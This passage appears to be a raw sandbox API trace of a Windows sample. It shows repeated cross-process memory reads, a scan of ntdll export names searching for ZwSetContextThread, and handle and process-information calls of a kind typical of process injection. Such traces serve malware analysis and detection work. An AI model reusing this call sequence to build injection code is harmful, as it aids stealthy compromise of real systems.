| out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.611] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0884000, Buffer=0x7fff, BufferSize=0x25d4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.611] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0885000, Buffer=0x7fff, BufferSize=0x25d5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.611] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0886000, Buffer=0x7fff, BufferSize=0x25d6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.611] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0887000, Buffer=0x7fff, BufferSize=0x25d7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.611] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0888000, Buffer=0x7fff, BufferSize=0x25d8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.611] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0889000, Buffer=0x7fff, BufferSize=0x25d9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.612] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088a000, Buffer=0x7fff, BufferSize=0x25da000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.612] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088b000, Buffer=0x7fff, BufferSize=0x25db000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.612] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088c000, Buffer=0x7fff, BufferSize=0x25dc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.744] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwSetContextThread") returned -1 [0136.744] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwSetContextThread") returned -1 [0136.744] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwSetContextThread") returned -1 [0136.744] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwSetContextThread") returned -1 [0136.744] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwSetContextThread") returned -1 [0136.744] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwSetContextThread") returned -1 [0136.744] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwSetContextThread") returned -1 [0136.744] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwSetContextThread") returned -1 [0136.744] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrClientCallServer", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="ZwSetContextThread") returned -1 [0136.745] lstrcmpA (lpString1="CsrGetProcessId", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgBreakPoint", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgPrint", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgPrintEx", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgPrompt", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiContinue", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="ZwSetContextThread") returned -1 [0136.746] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventEnabled", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventRegister", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventUnregister", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventWrite", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="ZwSetContextThread") returned -1 [0136.747] lstrcmpA (lpString1="EtwEventWriteString", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwReplyNotification", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwSendNotification", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwSetMark", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwTraceMessage", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="ZwSetContextThread") returned -1 [0136.748] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrAccessResource", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrAddRefDll", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrEnumResources", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrFastFailInLoaderCallout", lpString2="ZwSetContextThread") returned -1 [0136.749] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrFindResource_U", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetDllDirectory", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetDllFullName", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetDllPath", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetFailureData", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="ZwSetContextThread") returned -1 [0136.750] lstrcmpA (lpString1="LdrGetProcedureAddressForCaller", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrLoadDll", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrLockLoaderLock", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrOpenImageFileOptionsKey", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrProcessInitializationComplete", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrProcessRelocationBlock", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrProcessRelocationBlockEx", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptions", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrQueryImageFileExecutionOptionsEx", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrQueryImageFileKeyOption", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrQueryModuleServiceTags", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrQueryOptionalDelayLoadedAPI", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrQueryProcessModuleInformation", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrRemoveDllDirectory", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrResFindResource", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="ZwSetContextThread") returned -1 [0136.751] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrResRelease", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrResSearchResource", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrResolveDelayLoadedAPI", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrResolveDelayLoadsFromDll", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrSetDefaultDllDirectories", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrSetDllDirectory", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrSetImplicitPathOptions", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrShutdownThread", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrStandardizeSystemPath", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrSystemDllInitBlock", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrUnloadDll", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="ZwSetContextThread") returned -1 [0136.752] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="MD4Final", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="MD4Init", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="MD4Update", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="MD5Final", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="MD5Init", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="MD5Update", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAccessCheck", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAddAtom", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAddAtomEx", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAddBootEntry", lpString2="ZwSetContextThread") returned -1 [0136.753] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAdjustTokenClaimsAndDeviceGroups", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlertThread", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlertThreadByThreadId", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAllocateUuids", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcConnectPortEx", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="ZwSetContextThread") returned -1 [0136.754] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcImpersonateClientContainerOfPort", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtAssociateWaitCompletionPacket", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtCallbackReturn", lpString2="ZwSetContextThread") returned -1 [0136.755] lstrcmpA (lpString1="NtCancelIoFile", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCancelTimer", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCancelTimer2", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCancelWaitCompletionPacket", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtClearEvent", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtClose", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCommitComplete", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCommitTransaction", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCompactKeys", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCompareObjects", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCompareTokens", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtCompressKey", lpString2="ZwSetContextThread") returned -1 [0136.756] lstrcmpA (lpString1="NtConnectPort", lpString2="ZwSetContextThread") returned -1 [0136.757] VirtualFree (lpAddress=0x24f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.844] CloseHandle (hObject=0x17c) returned 1 [0136.844] LocalAlloc (uFlags=0x0, uBytes=0x1000) returned 0x73a578 [0136.844] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0136.845] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0136.845] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x174, ProcessInformationClass=0x0, ProcessInformation64=0x18eaa8, ProcessInformationLength=0x30, ReturnLength=0x18eb00 | out: ProcessInformation64=0x18eaa8, ReturnLength=0x18eb00) returned 0x0 [0137.477] LocalFree (hMem=0x73a578) returned 0x0 [0137.477] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5b183980, Buffer=0x7ff6, BufferSize=0x18f050, NumberOfBytesRead=0x4 | out: Buffer=0x7ff6, NumberOfBytesRead=0x4) returned 0x0 [0137.621] GetCurrentProcessId () returned 0x29c [0137.621] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x29c) returned 0x17c [0137.622] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0137.622] GetProcAddress (hModule=0x77220000, 